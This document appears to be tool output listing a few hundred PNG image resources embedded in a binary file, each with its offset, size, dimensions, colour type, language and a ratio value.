PNG	0x35c950	0x1c4	PNG image data, 80 x 92, 8-bit/color RGBA, non-interlaced	English	United States	0.8252212389380531
PNG	0x35c428	0x522	PNG image data, 80 x 19, 8-bit/color RGBA, non-interlaced	English	United States	1.008371385083714
PNG	0x359fb0	0x2475	PNG image data, 76 x 125, 8-bit/color RGBA, non-interlaced	English	United States	1.000750026786671
PNG	0x3566c8	0x69e	PNG image data, 52 x 268, 8-bit/color RGBA, non-interlaced	English	United States	1.0064935064935066
PNG	0x359748	0x1c3	PNG image data, 80 x 92, 8-bit/color RGBA, non-interlaced	English	United States	0.8314855875831486
PNG	0x359240	0x505	PNG image data, 80 x 19, 8-bit/color RGBA, non-interlaced	English	United States	1.0085603112840467
PNG	0x356d68	0x24d3	PNG image data, 76 x 125, 8-bit/color RGBA, non-interlaced	English	United States	1.0004243131430997
PNG	0x35cb18	0x69e	PNG image data, 52 x 268, 8-bit/color RGBA, non-interlaced	English	United States	1.0064935064935066
PNG	0x35fbe0	0x1c7	PNG image data, 80 x 92, 8-bit/color RGBA, non-interlaced	English	United States	0.832967032967033
PNG	0x35f6a8	0x536	PNG image data, 80 x 19, 8-bit/color RGBA, non-interlaced	English	United States	1.0082458770614693
PNG	0x35d1b8	0x24f0	PNG image data, 76 x 125, 8-bit/color RGBA, non-interlaced	English	United States	1.0011632825719121
PNG	0x350488	0x69e	PNG image data, 52 x 268, 8-bit/color RGBA, non-interlaced	English	United States	1.0064935064935066
PNG	0x3533e0	0x1c5	PNG image data, 80 x 92, 8-bit/color RGBA, non-interlaced	English	United States	0.8388520971302428
PNG	0x352f00	0x4d9	PNG image data, 80 x 19, 8-bit/color RGBA, non-interlaced	English	United States	1.008863819500403
PNG	0x350b28	0x23d3	PNG image data, 76 x 125, 8-bit/color RGBA, non-interlaced	English	United States	1.0
PNG	0x34cf70	0x189	PNG image data, 100 x 34, 8-bit/color RGBA, non-interlaced	English	United States	1.0279898218829517
PNG	0x34d100	0x1bc	PNG image data, 100 x 136, 8-bit/color RGBA, non-interlaced	English	United States	0.7027027027027027
PNG	0x34d388	0x69e	PNG image data, 52 x 268, 8-bit/color RGBA, non-interlaced	English	United States	1.0064935064935066
PNG	0x3502c0	0x1c4	PNG image data, 80 x 92, 8-bit/color RGBA, non-interlaced	English	United States	0.827433628318584
PNG	0x34fdd0	0x4ef	PNG image data, 80 x 19, 8-bit/color RGBA, non-interlaced	English	United States	1.0087094220110848
PNG	0x34da28	0x23a2	PNG image data, 76 x 125, 8-bit/color RGBA, non-interlaced	English	United States	1.0007673755755317
PNG	0x34d2c0	0xc5	PNG image data, 3 x 26, 8-bit/color RGBA, non-interlaced	English	United States	1.0253807106598984
PNG	0x35fda8	0x69e	PNG image data, 52 x 268, 8-bit/color RGBA, non-interlaced	English	United States	1.0064935064935066
PNG	0x362e40	0x1ba	PNG image data, 80 x 92, 8-bit/color RGBA, non-interlaced	English	United States	0.8212669683257918
PNG	0x362958	0x4e4	PNG image data, 80 x 19, 8-bit/color RGBA, non-interlaced	English	United States	1.0087859424920127
PNG	0x360448	0x250f	PNG image data, 76 x 125, 8-bit/color RGBA, non-interlaced	English	United States	1.0005270369979973
PNG	0x3535a8	0x69e	PNG image data, 52 x 268, 8-bit/color RGBA, non-interlaced	English	United States	1.0064935064935066
PNG	0x356500	0x1c2	PNG image data, 80 x 92, 8-bit/color RGBA, non-interlaced	English	United States	0.8288888888888889
PNG	0x356010	0x4e9	PNG image data, 80 x 19, 8-bit/color RGBA, non-interlaced	English	United States	1.0087509944311854
PNG	0x353c48	0x23c6	PNG image data, 76 x 125, 8-bit/color RGBA, non-interlaced	English	United States	1.000436776588775
PNG	0x34c878	0xb5	PNG image data, 15 x 15, 8-bit/color RGB, non-interlaced	English	United States	1.0165745856353592
PNG	0x33d8e8	0x186	PNG image data, 100 x 34, 8-bit/color RGBA, non-interlaced	English	United States	1.028205128205128
PNG	0x33d730	0x1b5	PNG image data, 100 x 136, 8-bit/color RGBA, non-interlaced	English	United States	0.6864988558352403
PNG	0x348990	0x66	PNG image data, 1 x 46, 8-bit/color RGBA, non-interlaced	English	United States	0.9803921568627451
PNG	0x34a7a8	0xf9	PNG image data, 90 x 12, 8-bit/color RGBA, non-interlaced	English	United States	1.0321285140562249
PNG	0x34aba8	0x17c3	PNG image data, 86 x 240, 8-bit/color RGBA, non-interlaced	English	United States	0.992931119513398
PNG	0x34a8a8	0x283	PNG image data, 86 x 8, 8-bit/color RGBA, non-interlaced	English	United States	1.0171073094867806
PNG	0x34ab30	0x71	PNG image data, 5 x 8, 8-bit/color RGBA, non-interlaced	English	United States	0.9823008849557522
PNG	0x34a088	0x71d	PNG image data, 16 x 48, 8-bit/color RGBA, non-interlaced	English	United States	1.0060406370126305
PNG	0x3498f0	0x794	PNG image data, 16 x 48, 8-bit/color RGBA, non-interlaced	English	United States	1.0056701030927835
PNG	0x349668	0x284	PNG image data, 7 x 39, 8-bit/color RGBA, non-interlaced	English	United States	1.0170807453416149
PNG	0x335ed0	0x203	PNG image data, 70 x 23, 8-bit/color RGBA, non-interlaced	English	United States	1.021359223300971
PNG	0x3360d8	0x1b5	PNG image data, 70 x 23, 8-bit/color RGBA, non-interlaced	English	United States	1.0251716247139588
PNG	0x336368	0xb2	PNG image data, 2 x 20, 8-bit/color RGB, non-interlaced	English	United States	1.0168539325842696
PNG	0x336290	0xd1	PNG image data, 11 x 11, 8-bit/color RGBA, non-interlaced	English	United States	0.9760765550239234
PNG	0x336420	0x21c	PNG image data, 21 x 42, 8-bit/color RGBA, non-interlaced	English	United States	1.0203703703703704
PNG	0x336640	0x21c	PNG image data, 21 x 42, 8-bit/color RGBA, non-interlaced	English	United States	1.0203703703703704
PNG	0x336860	0x1ae	PNG image data, 21 x 84, 8-bit/color RGBA, non-interlaced	English	United States	1.0186046511627906
PNG	0x336a10	0x13a	PNG image data, 16 x 56, 8-bit/color RGBA, non-interlaced	English	United States	1.0222929936305734
PNG	0x336cf8	0x13f	PNG image data, 21 x 84, 8-bit/color RGBA, non-interlaced	English	United States	1.0344827586206897
PNG	0x336e38	0x135	PNG image data, 16 x 56, 8-bit/color RGBA, non-interlaced	English	United States	0.9967637540453075
PNG	0x336b50	0xdb	PNG image data, 21 x 84, 8-bit/color RGBA, non-interlaced	English	United States	1.0228310502283104
PNG	0x336c30	0xc6	PNG image data, 16 x 56, 8-bit/color RGBA, non-interlaced	English	United States	1.0252525252525253
PNG	0x336f70	0x1a9	PNG image data, 21 x 84, 8-bit/color RGBA, non-interlaced	English	United States	1.0141176470588236
PNG	0x337120	0x19b	PNG image data, 16 x 56, 8-bit/color RGBA, non-interlaced	English	United States	1.0194647201946472
PNG	0x338f20	0x2296	PNG image data, 72 x 125, 8-bit/color RGBA, non-interlaced	English	United States	1.001242376327084
PNG	0x33b1b8	0x13e	PNG image data, 72 x 15, 8-bit/color RGB, non-interlaced	English	United States	1.0345911949685536
PNG	0x338e08	0x115	PNG image data, 30 x 24, 8-bit/color RGB, non-interlaced	English	United States	1.03971119133574
PNG	0x338d80	0x83	PNG image data, 35 x 3, 8-bit/color RGB, non-interlaced	English	United States	1.0076335877862594
PNG	0x3384e8	0xce	PNG image data, 7 x 7, 8-bit/color RGB, non-interlaced	English	United States	1.0242718446601942
PNG	0x3379b8	0xb30	PNG image data, 22 x 110, 8-bit/color RGBA, non-interlaced	English	United States	1.003840782122905
PNG	0x36b470	0x25f	PNG image data, 72 x 22, 8-bit/color RGBA, non-interlaced	English	United States	1.0181219110378912
PNG	0x36b258	0x79	PNG image data, 4 x 4, 8-bit/color RGB, non-interlaced	English	United States	0.9752066115702479
PNG	0x367b10	0x170	PNG image data, 70 x 23, 8-bit/color RGBA, non-interlaced	English	United States	0.9755434782608695
PNG	0x367d88	0x26b	PNG image data, 70 x 31, 8-bit/color RGBA, non-interlaced	English	United States	1.0177705977382876
PNG	0x367c80	0x105	PNG image data, 70 x 23, 8-bit/color RGBA, non-interlaced	English	United States	0.9731800766283525
PNG	0x36ad88	0xe6	PNG image data, 22 x 38, 8-bit/color RGB, non-interlaced	English	United States	1.0260869565217392
PNG	0x369ed0	0x38d	PNG image data, 55 x 22, 8-bit/color RGBA, non-interlaced	English	United States	1.012101210121012
PNG	0x36a260	0x265	PNG image data, 55 x 22, 8-bit/color RGBA, non-interlaced	English	United States	1.0179445350734095
PNG	0x36a578	0x11a	PNG image data, 30 x 24, 8-bit/color RGBA, non-interlaced	English	United States	1.0319148936170213
PNG	0x36a4c8	0xaa	PNG image data, 2 x 19, 8-bit/color RGB, non-interlaced	English	United States	1.011764705882353
PNG	0x36a698	0x12a	PNG image data, 20 x 40, 8-bit/color RGBA, non-interlaced	English	United States	1.0268456375838926
PNG	0x369cc0	0x209	PNG image data, 10 x 28, 8-bit/color RGB, non-interlaced	English	United States	1.021113243761996
PNG	0x36b160	0xf5	PNG image data, 10 x 28, 8-bit/color RGB, non-interlaced	English	United States	1.0244897959183674
PNG	0x36c720	0xa6	PNG image data, 54 x 31, 8-bit/color RGB, non-interlaced	English	United States	1.0180722891566265
PNG	0x36c5d0	0x150	PNG image data, 54 x 124, 8-bit/color RGB, non-interlaced	English	United States	1.0327380952380953
PNG	0x36ae70	0xac	PNG image data, 7 x 7, 8-bit/color RGBA, non-interlaced	English	United States	1.0174418604651163
PNG	0x36af20	0x89	PNG image data, 3 x 11, 8-bit/color RGBA, non-interlaced	English	United States	1.0
PNG	0x36afb0	0x98	PNG image data, 9 x 8, 8-bit/color RGB, non-interlaced	English	United States	1.006578947368421
PNG	0x36b048	0x91	PNG image data, 9 x 8, 8-bit/color RGB, non-interlaced	English	United States	1.006896551724138
PNG	0x36b0e0	0x7d	PNG image data, 15 x 3, 8-bit/color RGB, non-interlaced	English	United States	1.008
PNG	0x3816e0	0xa6	PNG image data, 7 x 7, 8-bit/color RGB, non-interlaced	English	United States	1.0120481927710843
PNG	0x381620	0xbc	PNG image data, 7 x 7, 8-bit/color RGBA, non-interlaced	English	United States	1.0159574468085106
PNG	0x37c5d8	0xa07	PNG image data, 13 x 156, 8-bit/color RGBA, non-interlaced	English	United States	1.004285157771718
PNG	0x374018	0x1de1	PNG image data, 52 x 336, 8-bit/color RGBA, non-interlaced	English	United States	1.0014380964832004
PNG	0x375e00	0x1be	PNG image data, 38 x 38, 8-bit/color RGBA, non-interlaced	English	United States	1.0246636771300448
PNG	0x375fc0	0x53b	PNG image data, 30 x 16, 8-bit/color RGBA, non-interlaced	English	United States	1.0082150858849888
PNG	0x3811e0	0x440	PNG image data, 22 x 66, 8-bit/color RGBA, non-interlaced	English	United States	1.010110294117647
PNG	0x37d468	0x12e	PNG image data, 20 x 12, 8-bit/color RGBA, non-interlaced	English	United States	1.0298013245033113
PNG	0x37aa70	0x5b1	PNG image data, 23 x 154, 8-bit/color RGBA, non-interlaced	English	United States	1.0075497597803706
PNG	0x37b028	0x408	PNG image data, 9 x 132, 8-bit/color RGBA, non-interlaced	English	United States	1.0106589147286822
PNG	0x37bca8	0x471	PNG image data, 23 x 154, 8-bit/color RGBA, non-interlaced	English	United States	1.009674582233949
PNG	0x37c120	0x4b7	PNG image data, 10 x 132, 8-bit/color RGBA, non-interlaced	English	United States	1.0091135045567523
PNG	0x37b430	0x481	PNG image data, 23 x 154, 8-bit/color RGBA, non-interlaced	English	United States	1.0095403295750216
PNG	0x37b8b8	0x3ec	PNG image data, 9 x 132, 8-bit/color RGBA, non-interlaced	English	United States	1.0109561752988048
PNG	0x36e130	0x452	PNG image data, 22 x 110, 8-bit/color RGBA, non-interlaced	English	United States	1.0099457504520795
PNG	0x36e928	0x414	PNG image data, 22 x 110, 8-bit/color RGBA, non-interlaced	English	United States	1.010536398467433
PNG	0x36e588	0x39e	PNG image data, 22 x 110, 8-bit/color RGBA, non-interlaced	English	United States	1.011879049676026
PNG	0x36ed40	0x48d	PNG image data, 22 x 110, 8-bit/color RGBA, non-interlaced	English	United States	1.009442060085837
PNG	0x372290	0x1b3	PNG image data, 15 x 56, 8-bit/color RGBA, non-interlaced	English	United States	1.025287356321839
PNG	0x372448	0xea	PNG image data, 32 x 8, 8-bit/color RGBA, non-interlaced	English	United States	1.0299145299145298
PNG	0x372538	0x1ae0	PNG image data, 38 x 114, 8-bit/color RGBA, non-interlaced	English	United States	1.0015988372093023
PNG	0x376ef0	0xb43	PNG image data, 22 x 132, 8-bit/color RGBA, non-interlaced	English	United States	1.0038154699965314
PNG	0x377a38	0x609	PNG image data, 11 x 110, 8-bit/color RGBA, non-interlaced	English	United States	1.0071197411003237
PNG	0x378048	0x18ae	PNG image data, 43 x 234, 8-bit/color RGBA, non-interlaced	English	United States	1.0017410572966128
PNG	0x3798f8	0x1177	PNG image data, 43 x 135, 8-bit/color RGBA, non-interlaced	English	United States	1.0024602997092373
PNG	0x36fca0	0x25ec	PNG image data, 43 x 330, 8-bit/color RGBA, non-interlaced	English	United States	1.0011330861145447
PNG	0x36f1d0	0xacb	PNG image data, 22 x 88, 8-bit/color RGBA, non-interlaced	English	United States	1.0039811798769454
PNG	0x381830	0xbc8	PNG image data, 14 x 276, 8-bit/color RGBA, non-interlaced	English	United States	1.0036472148541113
PNG	0x3823f8	0xc2e	PNG image data, 14 x 276, 8-bit/color RGBA, non-interlaced	English	United States	1.0035279025016035
PNG	0x37e240	0x5dd	PNG image data, 15 x 80, 8-bit/color RGBA, non-interlaced	English	United States	1.0073284477015323
PNG	0x37dca8	0x597	PNG image data, 15 x 76, 8-bit/color RGBA, non-interlaced	English	United States	1.0076869322152342
PNG	0x37d6b0	0x5f8	PNG image data, 15 x 84, 8-bit/color RGBA, non-interlaced	English	United States	1.007198952879581
PNG	0x37d230	0x237	PNG image data, 54 x 69, 8-bit/color RGBA, non-interlaced	English	United States	1.0194003527336861
PNG	0x37e820	0x588	PNG image data, 22 x 44, 8-bit/color RGBA, non-interlaced	English	United States	1.0077683615819208
PNG	0x376500	0x4b6	PNG image data, 64 x 26, 8-bit/color RGBA, non-interlaced	English	United States	1.0091210613598673
PNG	0x3769b8	0x532	PNG image data, 64 x 26, 8-bit/color RGBA, non-interlaced	English	United States	1.0082706766917293
PNG	0x36c7c8	0x5fe	PNG image data, 80 x 92, 8-bit/color RGBA, non-interlaced	English	United States	1.0071707953063884
PNG	0x36cdc8	0xdd3	PNG image data, 57 x 120, 8-bit/color RGBA, non-interlaced	English	United States	0.9960440802486578
PNG	0x36dba0	0x7c	PNG image data, 1 x 23, 8-bit/color RGBA, non-interlaced	English	United States	0.9919354838709677
PNG	0x38ea08	0x13c1	PNG image data, 52 x 252, 8-bit/color RGBA, non-interlaced	English	United States	1.0021752026893416
PNG	0x3913c8	0x37d	PNG image data, 80 x 92, 8-bit/color RGBA, non-interlaced	English	United States	1.0123180291153415
PNG	0x391030	0x395	PNG image data, 80 x 19, 8-bit/color RGBA, non-interlaced	English	United States	1.0119956379498365
PNG	0x38fdd0	0x125e	PNG image data, 57 x 120, 8-bit/color RGBA, non-interlaced	English	United States	1.0023394300297745
PNG	0x38bbf0	0x13b4	PNG image data, 52 x 252, 8-bit/color RGBA, non-interlaced	English	United States	1.0021808088818398
PNG	0x38e698	0x369	PNG image data, 80 x 92, 8-bit/color RGBA, non-interlaced	English	United States	1.0126002290950744
PNG	0x38e2c8	0x3cc	PNG image data, 80 x 19, 8-bit/color RGBA, non-interlaced	English	United States	1.0113168724279835
PNG	0x38cfa8	0x1320	PNG image data, 57 x 120, 8-bit/color RGBA, non-interlaced	English	United States	1.002246732026144
PNG	0x391748	0x13ac	PNG image data, 52 x 252, 8-bit/color RGBA, non-interlaced	English	United States	1.0021842732327244
PNG	0x394130	0x364	PNG image data, 80 x 92, 8-bit/color RGBA, non-interlaced	English	United States	1.012672811059908
PNG	0x393d70	0x3ba	PNG image data, 80 x 19, 8-bit/color RGBA, non-interlaced	English	United States	1.0115303983228512
PNG	0x392af8	0x1274	PNG image data, 57 x 120, 8-bit/color RGBA, non-interlaced	English	United States	1.0023285351397122
PNG	0x386300	0x139f	PNG image data, 52 x 252, 8-bit/color RGBA, non-interlaced	English	United States	1.0021899263388414
PNG	0x388c80	0x380	PNG image data, 80 x 92, 8-bit/color RGBA, non-interlaced	English	United States	1.0122767857142858
PNG	0x388928	0x352	PNG image data, 80 x 19, 8-bit/color RGBA, non-interlaced	English	United States	1.0129411764705882
PNG	0x3876a0	0x1288	PNG image data, 57 x 120, 8-bit/color RGBA, non-interlaced	English	United States	1.002318718381113
PNG	0x383028	0x211	PNG image data, 100 x 34, 8-bit/color RGBA, non-interlaced	English	United States	1.0207939508506616
PNG	0x383240	0x2e4	PNG image data, 100 x 136, 8-bit/color RGBA, non-interlaced	English	United States	1.0148648648648648
PNG	0x383600	0x13ad	PNG image data, 52 x 252, 8-bit/color RGBA, non-interlaced	English	United States	1.0021838395870557
PNG	0x385f98	0x365	PNG image data, 80 x 92, 8-bit/color RGBA, non-interlaced	English	United States	1.0126582278481013
PNG	0x385c20	0x374	PNG image data, 80 x 19, 8-bit/color RGBA, non-interlaced	English	United States	1.012443438914027
PNG	0x3849b0	0x126b	PNG image data, 57 x 120, 8-bit/color RGBA, non-interlaced	English	United States	1.0023329798515377
PNG	0x383528	0xd4	PNG image data, 3 x 26, 8-bit/color RGBA, non-interlaced	English	United States	1.028301886792453
PNG	0x394498	0x1394	PNG image data, 52 x 252, 8-bit/color RGBA, non-interlaced	English	United States	1.00219473264166
PNG	0x396f30	0x374	PNG image data, 80 x 92, 8-bit/color RGBA, non-interlaced	English	United States	1.012443438914027
PNG	0x396b38	0x3f4	PNG image data, 80 x 19, 8-bit/color RGBA, non-interlaced	English	United States	1.0108695652173914
PNG	0x395830	0x1304	PNG image data, 57 x 120, 8-bit/color RGBA, non-interlaced	English	United States	1.0022596548890714
PNG	0x389000	0x1397	PNG image data, 52 x 252, 8-bit/color RGBA, non-interlaced	English	United States	1.0021934197407776
PNG	0x38b878	0x373	PNG image data, 80 x 92, 8-bit/color RGBA, non-interlaced	English	United States	1.0124575311438277
PNG	0x38b538	0x33d	PNG image data, 80 x 19, 8-bit/color RGBA, non-interlaced	English	United States	1.0132689987937273
PNG	0x38a398	0x119e	PNG image data, 57 x 120, 8-bit/color RGBA, non-interlaced	English	United States	1.002439024390244
PNG	0x381788	0xa6	PNG image data, 15 x 15, 8-bit/color RGB, non-interlaced	English	United States	1.0120481927710843
PNG	0x36df18	0x211	PNG image data, 100 x 34, 8-bit/color RGBA, non-interlaced	English	United States	1.0207939508506616
PNG	0x36dc20	0x2f7	PNG image data, 100 x 136, 8-bit/color RGBA, non-interlaced	English	United States	1.0144927536231885
PNG	0x37d048	0x16e	PNG image data, 9 x 38, 8-bit/color RGBA, non-interlaced	English	United States	1.030054644808743
PNG	0x37d1b8	0x73	PNG image data, 5 x 5, 8-bit/color RGB, non-interlaced	English	United States	0.9826086956521739
PNG	0x37d598	0x117	PNG image data, 11 x 24, 8-bit/color RGBA, non-interlaced	English	United States	1.021505376344086
PNG	0x37cfe0	0x67	PNG image data, 2 x 55, 8-bit/color RGBA, non-interlaced	English	United States	0.9902912621359223
PNG	0x3803b0	0xce	PNG image data, 90 x 12, 8-bit/color RGBA, non-interlaced	English	United States	1.0242718446601942
PNG	0x3807a0	0xa40	PNG image data, 86 x 240, 8-bit/color RGBA, non-interlaced	English	United States	0.9733231707317073
PNG	0x380480	0x283	PNG image data, 86 x 8, 8-bit/color RGBA, non-interlaced	English	United States	1.0171073094867806
PNG	0x380708	0x93	PNG image data, 5 x 8, 8-bit/color RGBA, non-interlaced	English	United States	1.0136054421768708
PNG	0x37fa40	0x96a	PNG image data, 18 x 54, 8-bit/color RGBA, non-interlaced	English	United States	1.004564315352697
PNG	0x37f0a0	0x99b	PNG image data, 18 x 54, 8-bit/color RGBA, non-interlaced	English	United States	1.0044733631557543
PNG	0x37eda8	0x2f7	PNG image data, 11 x 45, 8-bit/color RGBA, non-interlaced	English	United States	1.0144927536231885
PNG	0x367ff8	0x1ff	PNG image data, 70 x 23, 8-bit/color RGBA, non-interlaced	English	United States	1.0215264187866928
PNG	0x3681f8	0x1f7	PNG image data, 70 x 23, 8-bit/color RGBA, non-interlaced	English	United States	1.021868787276342
PNG	0x368488	0xb6	PNG image data, 2 x 20, 8-bit/color RGB, non-interlaced	English	United States	1.010989010989011
PNG	0x3683f0	0x94	PNG image data, 11 x 11, 8-bit/color RGBA, non-interlaced	English	United States	1.0135135135135136
PNG	0x368540	0x3e6	PNG image data, 17 x 32, 8-bit/color RGBA, non-interlaced	English	United States	1.0110220440881763
PNG	0x368928	0x3e6	PNG image data, 17 x 32, 8-bit/color RGBA, non-interlaced	English	United States	1.0110220440881763
PNG	0x368d10	0x315	PNG image data, 17 x 80, 8-bit/color RGBA, non-interlaced	English	United States	1.0139416983523448
PNG	0x369028	0x259	PNG image data, 13 x 60, 8-bit/color RGBA, non-interlaced	English	United States	1.0183028286189684
PNG	0x369488	0x205	PNG image data, 17 x 80, 8-bit/color RGBA, non-interlaced	English	United States	1.0212765957446808
PNG	0x369690	0x176	PNG image data, 13 x 60, 8-bit/color RGBA, non-interlaced	English	United States	1.0294117647058822
PNG	0x369288	0x124	PNG image data, 17 x 80, 8-bit/color RGBA, non-interlaced	English	United States	1.0136986301369864
PNG	0x3693b0	0xd7	PNG image data, 13 x 60, 8-bit/color RGBA, non-interlaced	English	United States	1.0
PNG	0x369808	0x28f	PNG image data, 17 x 80, 8-bit/color RGBA, non-interlaced	English	United States	1.016793893129771
PNG	0x369a98	0x225	PNG image data, 13 x 60, 8-bit/color RGBA, non-interlaced	English	United States	1.0200364298724955
PNG	0x36b6d0	0xdd3	PNG image data, 57 x 120, 8-bit/color RGBA, non-interlaced	English	United States	0.9960440802486578
PNG	0x36c4a8	0x123	PNG image data, 72 x 15, 8-bit/color RGB, non-interlaced	English	United States	1.0378006872852235
PNG	0x36b360	0x10b	PNG image data, 30 x 24, 8-bit/color RGB, non-interlaced	English	United States	1.0337078651685394
PNG	0x36b2d8	0x83	PNG image data, 35 x 3, 8-bit/color RGB, non-interlaced	English	United States	1.0076335877862594
PNG	0x36ac58	0x12f	PNG image data, 9 x 9, 8-bit/color RGB, non-interlaced	English	United States	1.0264026402640265
PNG	0x36a7c8	0x48d	PNG image data, 22 x 110, 8-bit/color RGBA, non-interlaced	English	United States	1.009442060085837
PNG	0x39f338	0x261	PNG image data, 72 x 22, 8-bit/color RGBA, non-interlaced	English	United States	1.0180623973727423
PNG	0x39f120	0x79	PNG image data, 4 x 4, 8-bit/color RGB, non-interlaced	English	United States	0.9752066115702479
PNG	0x39bd50	0x1b5	PNG image data, 70 x 23, 8-bit/color RGBA, non-interlaced	English	United States	0.9931350114416476
PNG	0x39c028	0x293	PNG image data, 70 x 31, 8-bit/color RGBA, non-interlaced	English	United States	1.0166919575113809
PNG	0x39bf08	0x11a	PNG image data, 70 x 23, 8-bit/color RGBA, non-interlaced	English	United States	0.9716312056737588
PNG	0x39ec40	0xde	PNG image data, 22 x 38, 8-bit/color RGB, non-interlaced	English	United States	1.027027027027027
PNG	0x39dd58	0x38d	PNG image data, 55 x 22, 8-bit/color RGBA, non-interlaced	English	United States	1.012101210121012
PNG	0x39e0e8	0x265	PNG image data, 55 x 22, 8-bit/color RGBA, non-interlaced	English	United States	1.0179445350734095
PNG	0x39e400	0x124	PNG image data, 30 x 24, 8-bit/color RGBA, non-interlaced	English	United States	1.0308219178082192
PNG	0x39e350	0xaa	PNG image data, 2 x 19, 8-bit/color RGB, non-interlaced	English	United States	1.011764705882353
PNG	0x39e528	0x12a	PNG image data, 20 x 40, 8-bit/color RGBA, non-interlaced	English	United States	1.0268456375838926
PNG	0x39db48	0x209	PNG image data, 10 x 28, 8-bit/color RGB, non-interlaced	English	United States	1.021113243761996
PNG	0x39f028	0xf5	PNG image data, 10 x 28, 8-bit/color RGB, non-interlaced	English	United States	1.0244897959183674
PNG	0x3a07a0	0x9f	PNG image data, 54 x 31, 8-bit/color RGB, non-interlaced	English	United States	1.0125786163522013
PNG	0x3a0658	0x148	PNG image data, 54 x 124, 8-bit/color RGB, non-interlaced	English	United States	1.0335365853658536
PNG	0x39ed20	0xac	PNG image data, 7 x 7, 8-bit/color RGBA, non-interlaced	English	United States	1.0174418604651163
PNG	0x39edd0	0x8b	PNG image data, 3 x 11, 8-bit/color RGBA, non-interlaced	English	United States	1.014388489208633
PNG	0x39ee60	0xa4	PNG image data, 9 x 8, 8-bit/color RGB, non-interlaced	English	United States	1.0
PNG	0x39ef08	0x94	PNG image data, 9 x 8, 8-bit/color RGB, non-interlaced	English	United States	1.0067567567567568
PNG	0x39efa0	0x87	PNG image data, 15 x 3, 8-bit/color RGB, non-interlaced	English	United States	1.0
PNG	0x3b5de8	0xa6	PNG image data, 7 x 7, 8-bit/color RGB, non-interlaced	English	United States	1.0120481927710843
PNG	0x3b5d20	0xc5	PNG image data, 7 x 7, 8-bit/color RGBA, non-interlaced	English	United States	1.0203045685279188
PNG	0x3b0b40	0xa54	PNG image data, 13 x 156, 8-bit/color RGBA, non-interlaced	English	United States	1.004160363086233
PNG	0x3a83f0	0x1eda	PNG image data, 52 x 336, 8-bit/color RGBA, non-interlaced	English	United States	1.001392757660167
PNG	0x3aa2d0	0x1cb	PNG image data, 38 x 38, 8-bit/color RGBA, non-interlaced	English	United States	1.0239651416122004
PNG	0x3aa4a0	0x53b	PNG image data, 30 x 16, 8-bit/color RGBA, non-interlaced	English	United States	1.0082150858849888
PNG	0x3b5828	0x4f3	PNG image data, 22 x 66, 8-bit/color RGBA, non-interlaced	English	United States	1.0086819258089976
PNG	0x3b1a48	0x11a	PNG image data, 20 x 12, 8-bit/color RGBA, non-interlaced	English	United States	1.024822695035461
PNG	0x3aeff0	0x5af	PNG image data, 23 x 154, 8-bit/color RGBA, non-interlaced	English	United States	1.0075601374570446
PNG	0x3af5a0	0x3ff	PNG image data, 9 x 132, 8-bit/color RGBA, non-interlaced	English	United States	1.010752688172043
PNG	0x3b0208	0x461	PNG image data, 23 x 154, 8-bit/color RGBA, non-interlaced	English	United States	1.0098126672613739
PNG	0x3b0670	0x4cc	PNG image data, 10 x 132, 8-bit/color RGBA, non-interlaced	English	United States	1.008957654723127
PNG	0x3af9a0	0x474	PNG image data, 23 x 154, 8-bit/color RGBA, non-interlaced	English	United States	1.0096491228070175
PNG	0x3afe18	0x3ef	PNG image data, 9 x 132, 8-bit/color RGBA, non-interlaced	English	United States	1.0109235352532273
PNG	0x3a23c8	0x44a	PNG image data, 22 x 110, 8-bit/color RGBA, non-interlaced	English	United States	1.0100182149362478
PNG	0x3a2bb8	0x41f	PNG image data, 22 x 110, 8-bit/color RGBA, non-interlaced	English	United States	1.0104265402843602
PNG	0x3a2818	0x39b	PNG image data, 22 x 110, 8-bit/color RGBA, non-interlaced	English	United States	1.0119176598049837
PNG	0x3a2fd8	0x4a1	PNG image data, 22 x 110, 8-bit/color RGBA, non-interlaced	English	United States	1.009282700421941
PNG	0x3a6538	0x1b3	PNG image data, 15 x 56, 8-bit/color RGBA, non-interlaced	English	United States	1.025287356321839
PNG	0x3a66f0	0xf9	PNG image data, 32 x 8, 8-bit/color RGBA, non-interlaced	English	United States	1.036144578313253
PNG	0x3a67f0	0x1bfa	PNG image data, 38 x 114, 8-bit/color RGBA, non-interlaced	English	United States	1.001535883831332
PNG	0x3ab470	0xb43	PNG image data, 22 x 132, 8-bit/color RGBA, non-interlaced	English	United States	1.0038154699965314
PNG	0x3abfb8	0x609	PNG image data, 11 x 110, 8-bit/color RGBA, non-interlaced	English	United States	1.0071197411003237
PNG	0x3ac5c8	0x18ae	PNG image data, 43 x 234, 8-bit/color RGBA, non-interlaced	English	United States	1.0017410572966128
PNG	0x3ade78	0x1177	PNG image data, 43 x 135, 8-bit/color RGBA, non-interlaced	English	United States	1.0024602997092373
PNG	0x3a3f48	0x25ec	PNG image data, 43 x 330, 8-bit/color RGBA, non-interlaced	English	United States	1.0011330861145447
PNG	0x3a3480	0xac7	PNG image data, 22 x 88, 8-bit/color RGBA, non-interlaced	English	United States	1.0039869517941282
PNG	0x3b5f48	0xa82	PNG image data, 14 x 276, 8-bit/color RGBA, non-interlaced	English	United States	1.004089219330855
PNG	0x3b69d0	0xac7	PNG image data, 14 x 276, 8-bit/color RGBA, non-interlaced	English	United States	1.0039869517941282
PNG	0x3b27f0	0x5d3	PNG image data, 15 x 80, 8-bit/color RGBA, non-interlaced	English	United States	1.0073775989268947
PNG	0x3b2278	0x575	PNG image data, 15 x 76, 8-bit/color RGBA, non-interlaced	English	United States	1.0078740157480315
PNG	0x3b1c88	0x5ea	PNG image data, 15 x 84, 8-bit/color RGBA, non-interlaced	English	United States	1.0072655217965654
PNG	0x3b1820	0x222	PNG image data, 54 x 69, 8-bit/color RGBA, non-interlaced	English	United States	1.02014652014652
PNG	0x3b2dc8	0x588	PNG image data, 22 x 44, 8-bit/color RGBA, non-interlaced	English	United States	1.0077683615819208
PNG	0x3aa9e0	0x552	PNG image data, 64 x 26, 8-bit/color RGBA, non-interlaced	English	United States	1.0080763582966226
PNG	0x3aaf38	0x532	PNG image data, 64 x 26, 8-bit/color RGBA, non-interlaced	English	United States	1.0082706766917293
PNG	0x3a0840	0x624	PNG image data, 80 x 92, 8-bit/color RGBA, non-interlaced	English	United States	1.006997455470738
PNG	0x3a0e68	0xf6f	PNG image data, 57 x 120, 8-bit/color RGBA, non-interlaced	English	United States	1.0027841052898
PNG	0x3a1dd8	0x98	PNG image data, 1 x 23, 8-bit/color RGBA, non-interlaced	English	United States	1.013157894736842
PNG	0x3c1558	0x13c1	PNG image data, 52 x 252, 8-bit/color RGBA, non-interlaced	English	United States	1.0021752026893416
